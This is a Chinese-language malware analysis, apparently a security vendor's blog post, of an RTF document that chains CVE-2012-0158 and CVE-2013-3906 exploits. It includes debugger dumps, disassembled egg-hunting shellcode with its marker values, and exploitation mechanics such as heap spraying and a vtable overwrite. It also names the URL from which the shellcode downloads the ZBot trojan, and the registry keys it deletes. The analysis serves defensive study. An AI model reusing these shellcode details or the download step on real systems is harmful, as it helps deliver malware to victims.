Office”组合”式漏洞攻击样本分析
1 概述
网上公开一个疑似CVE-2014-1761的RTF样本,翰海源分析发现该样本并非CVE-2014-1761,而是在一个RTF样本中同时包括了两个漏洞,分别为CVE-2012-0158和CVE-2013-3906,比较特殊。
昨日,macfee在其Blog上也公布了一篇一个RTF样本包含CVE-2010-3333和CVE-2013-3906两个漏洞的文章。两个样本比较相似。
2 样本分析
2.1 漏洞CVE-2012-0158
1) 如果没有安装0158的补丁,在堆喷射后,会首先触发0158漏洞,拷贝0xF00字节栈溢出后,通过覆盖返回地址实现利用
eax=00121700 ebx=0b7a00e0 ecx=7c93003d edx=0ef10020 esi=08ece6bc edi=00000000
eip=275a2738 esp=001216dc ebp=00121708 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
MSCOMCTL!DllGetClassObject+0xb451:
275a2738 e863fdffff call MSCOMCTL!DllGetClassObject+0xb1b9 (275a24a0)
0:000> dd esp
001216dc 00121700 0b7a00e0 00000f00 00000000
001216ec 08ece6bc 0b7a00e0 6a626f43 00000064
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 275e727b 08ece6bc 0b7a00e0 00000000 MSCOMCTL!DllGetClassObject+0xb451
00121730 275e75c2 08ece6bc 0b7a00e0 0b7a00e0 MSCOMCTL!DLLGetDocumentation+0xcf1
0:000> p
eax=00000000 ebx=0b7a00e0 ecx=7c93003d edx=00140608 esi=08ece6bc edi=00000000
eip=275a273d esp=001216dc ebp=00121708 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0xb456:
275a273d 8bf0 mov esi,eax
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 27606efe 4a454247 42474642 275f4a62 MSCOMCTL!DllGetClassObject+0xb456
00121754 275e0d69 00040110 00010000 00010000 MSCOMCTL!DllUnregisterServer+0x6ec6
2) Shellcode不存在ROP,漏洞触发成功后,jmp esp跳转到栈上的Egg Hunting的前半段Shellcode,通过内存遍历搜寻Flag为的0×78784747、0×78784747、0xE3E3ACAC的Egg Hunting的后半段Shellcode。
3) 0158对应的样本object如下
2.2 漏洞CVE-2013-3906
1) 如果安装了CVE-2012-0158的补丁,那么在堆喷射之后,TIF的StripByCounts的第9个value为0xFFFF00B2,导致与其他value累加之后整数溢出,导致了堆溢出,覆盖vtable,直接call到0a0a0a0a的堆喷射区域,执行shellcode。
2) 通过ActiveX12.bin堆喷射的Shellcode与0158的基本一样,解密后内存搜寻相同的Flag,寻找Egg Hunting的shellcode的后半段
3) 喷射的shellcode如下:
0a0a0a0e ebc0 jmp 0a0a09d0 0a0a0a10 0a0a or cl,byte ptr [edx] 0a0a0a12 0a0a or cl,byte ptr [edx] 0:000> u 0a0a09d0 0a0a09d0 43 inc ebx 0a0a09d1 43 inc ebx 0a0a09d2 43 inc ebx 0a0a09d3 43 inc ebx 0a0a09d4 43 inc ebx 0a0ffad4 31db xor ebx,ebx 0a0ffad6 6681cbff0f or bx,0FFFh 0a0ffadb 43 inc ebx 0a0ffadc 6a08 push 8 0a0ffade 53 push ebx 0a0ffadf 8b442408 mov eax,dword ptr [esp+8] 0a0ffae3 ffd0 call eax 0a0ffae5 85c0 test eax,eax 0a0ffae7 75ed jne 0a0ffad6 0a0ffae9 b847477878 mov eax,78784747h 0a0ffaee 89df mov edi,ebx 0a0ffaf0 af scas dword ptr es:[edi] 0a0ffaf1 75e8 jne 0a0ffadb 0a0ffaf3 af scas dword ptr es:[edi] 0a0ffaf4 75e5 jne 0a0ffadb 0a0ffaf6 813facace3e3 cmp dword ptr [edi],0E3E3ACACh
4) 样本中对应的压缩流及TIF如下:
2.3 Egg Hunting Shellcode
1) 通过URLDownloadToFileA从http://alienstub.com/ticket/coke.exe下载ZBot木马到如下路径: C:\DOCUME~1\当前用户\LOCALS~1\Temp\..\Application Data\Microsoft\Windows\spoolsv.exe
2) 同时会清除注册表的如下键值,以防止用户在此运行后出现文档错误恢复或安全模式运行等。 Software\Microsoft\Office\[Version]\Word\Resiliency\DisabledItems Software\Microsoft\Office\[Version]\Word\Resiliency\StartupItems.
3) 搜寻标记为0×78784747、0×78784747、0xE3E3ACAC, 对应样本Object为:
3. 恶意程序
下载执行的恶意程序为ZBot木马,可以访问我们翰海源的B超系统,来查看该木马的详细行为细节: https://b-chao.com/index.php/Index/show_detail/Sha1/C09D8EC529773CBE4C5E351DC0ABD4724E2DCF3C
4. 参考 http://blogs.mcafee.com/mcafee-labs/rtf-attack-takes-advantage-of-multiple-exploits http://blog.vulnhunt.com/index.php/2014/04/04/office%E7%BB%84%E5%90%88%E5%BC%8F%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/